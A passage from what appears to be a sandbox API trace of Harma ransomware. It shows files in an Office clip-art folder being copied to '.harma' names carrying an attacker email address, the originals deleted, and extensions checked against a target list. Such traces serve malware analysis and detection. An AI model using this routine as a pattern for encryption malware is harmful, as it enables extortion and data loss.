Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0166.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.616] lstrlenW (lpString=".doc") returned 4 [0166.616] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".docx") returned 5 [0166.616] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.616] lstrlenW (lpString=".pdf") returned 4 [0166.616] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".xls") returned 4 [0166.616] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".xlsx") returned 5 [0166.616] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.616] lstrlenW (lpString=".ppt") returned 4 [0166.616] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.616] lstrlenW (lpString=".zip") returned 4 [0166.616] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".rar") returned 4 [0166.616] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".bz2") returned 4 [0166.616] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString=".7z") returned 3 [0166.616] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.616] lstrlenW (lpString=".dbf") returned 4 [0166.616] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.616] lstrlenW (lpString=".1cd") returned 4 [0166.616] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.616] lstrlenW (lpString=".jpg") returned 4 [0166.616] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.617] lstrlenW (lpString=".doc") returned 4 [0166.617] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".docx") returned 5 [0166.617] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0166.617] lstrlenW (lpString=".pdf") returned 4 [0166.617] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".xls") returned 4 [0166.617] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".xlsx") returned 5 [0166.617] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0166.617] lstrlenW (lpString=".ppt") returned 4 [0166.617] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.617] lstrlenW (lpString=".zip") returned 4 [0166.617] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".rar") returned 4 [0166.617] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".bz2") returned 4 [0166.617] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString=".7z") returned 3 [0166.617] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.617] lstrlenW (lpString=".dbf") returned 4 [0166.617] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.617] lstrlenW (lpString=".1cd") returned 4 [0166.617] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned 63 [0166.618] lstrlenW (lpString=".jpg") returned 4 [0166.618] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.618] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.618] lstrlenW (lpString="J0102762.WMF") returned 12 [0166.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.618] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=11216) returned 1 [0166.618] CloseHandle (hObject=0x208) returned 1 [0166.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 0x20 [0166.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.619] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.619] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.620] GetLastError () returned 0x0 [0166.620] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2bd0, lpOverlapped=0x0) returned 1 [0166.657] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2be0, lpOverlapped=0x0) returned 1 [0166.658] ReadFile (in: hFile=0x208, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.658] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.658] SetEndOfFile (hFile=0x364) returned 1 [0166.659] CloseHandle (hObject=0x364) returned 1 [0166.659] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.659] SetEndOfFile (hFile=0x208) returned 1 [0166.661] CloseHandle (hObject=0x208) returned 1 [0166.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf")) returned 1 [0166.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.675] lstrlenW (lpString=".doc") returned 4 [0166.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.675] lstrlenW (lpString=".docx") returned 5 [0166.675] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.675] lstrlenW (lpString=".pdf") returned 4 [0166.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.675] lstrlenW (lpString=".xls") returned 4 [0166.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.676] lstrlenW (lpString=".xlsx") returned 5 [0166.676] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.676] lstrlenW (lpString=".ppt") returned 4 [0166.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString=".zip") returned 4 [0166.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.676] lstrlenW (lpString=".rar") returned 4 [0166.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString=".bz2") returned 4 [0166.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString=".7z") returned 3 [0166.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString=".dbf") returned 4 [0166.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString=".1cd") returned 4 [0166.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString=".jpg") returned 4 [0166.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.676] lstrlenW (lpString=".doc") returned 4 [0166.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString=".docx") returned 5 [0166.676] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.676] lstrlenW (lpString=".pdf") returned 4 [0166.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.676] lstrlenW (lpString=".xls") returned 4 [0166.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.677] lstrlenW (lpString=".xlsx") returned 5 [0166.677] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.677] lstrlenW (lpString=".ppt") returned 4 [0166.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.677] lstrlenW (lpString=".zip") returned 4 [0166.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.677] lstrlenW (lpString=".rar") returned 4 [0166.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.677] lstrlenW (lpString=".bz2") returned 4 [0166.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.677] lstrlenW (lpString=".7z") returned 3 [0166.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.677] lstrlenW (lpString=".dbf") returned 4 [0166.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.677] lstrlenW (lpString=".1cd") returned 4 [0166.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0166.677] lstrlenW (lpString=".jpg") returned 4 [0166.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.677] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.677] lstrlenW (lpString="J0102984.WMF") returned 12 [0166.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.697] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=17040) returned 1 [0166.697] CloseHandle (hObject=0x3a0) returned 1 [0166.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0166.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.698] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.698] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.699] GetLastError () returned 0x0 [0166.699] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x4290, lpOverlapped=0x0) returned 1 [0166.718] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x42a0, lpOverlapped=0x0) returned 1 [0166.721] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.721] WriteFile (in: hFile=0x39c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.721] SetEndOfFile (hFile=0x39c) returned 1 [0166.721] CloseHandle (hObject=0x39c) returned 1 [0166.721] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.721] SetEndOfFile (hFile=0x3a0) returned 1 [0166.724] CloseHandle (hObject=0x3a0) returned 1 [0166.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0166.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.737] lstrlenW (lpString=".doc") returned 4 [0166.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.737] lstrlenW (lpString=".docx") returned 5 [0166.737] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.737] lstrlenW (lpString=".pdf") returned 4 [0166.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.737] lstrlenW (lpString=".xls") returned 4 [0166.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.737] lstrlenW (lpString=".xlsx") returned 5 [0166.737] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.737] lstrlenW (lpString=".ppt") returned 4 [0166.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.737] lstrlenW (lpString=".zip") returned 4 [0166.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.737] lstrlenW (lpString=".rar") returned 4 [0166.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.737] lstrlenW (lpString=".bz2") returned 4 [0166.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.737] lstrlenW (lpString=".7z") returned 3 [0166.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString=".dbf") returned 4 [0166.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString=".1cd") returned 4 [0166.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString=".jpg") returned 4 [0166.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString=".doc") returned 4 [0166.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString=".docx") returned 5 [0166.738] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.738] lstrlenW (lpString=".pdf") returned 4 [0166.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString=".xls") returned 4 [0166.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.738] lstrlenW (lpString=".xlsx") returned 5 [0166.738] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.738] lstrlenW (lpString=".ppt") returned 4 [0166.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.738] lstrlenW (lpString=".zip") returned 4 [0166.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.738] lstrlenW (lpString=".rar") returned 4 [0166.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.738] lstrlenW (lpString=".bz2") returned 4 [0166.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.739] lstrlenW (lpString=".7z") returned 3 [0166.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.739] lstrlenW (lpString=".dbf") returned 4 [0166.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.739] lstrlenW (lpString=".1cd") returned 4 [0166.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0166.739] lstrlenW (lpString=".jpg") returned 4 [0166.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.739] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.739] lstrlenW (lpString="J0103402.WMF") returned 12 [0166.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.759] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=44948) returned 1 [0166.759] CloseHandle (hObject=0x3a4) returned 1 [0166.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 0x20 [0166.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.818] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.818] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.819] GetLastError () returned 0x0 [0166.819] ReadFile (in: hFile=0x3ac, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xaf94, lpOverlapped=0x0) returned 1 [0166.868] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xafa0, lpOverlapped=0x0) returned 1 [0166.871] ReadFile (in: hFile=0x3ac, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.871] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.871] SetEndOfFile (hFile=0x364) returned 1 [0166.871] CloseHandle (hObject=0x364) returned 1 [0166.871] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.872] SetEndOfFile (hFile=0x3ac) returned 1 [0166.874] CloseHandle (hObject=0x3ac) returned 1 [0166.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0167.006] lstrlenW (lpString=".doc") returned 4 [0167.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".docx") returned 5 [0167.006] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0167.006] lstrlenW (lpString=".pdf") returned 4 [0167.007] 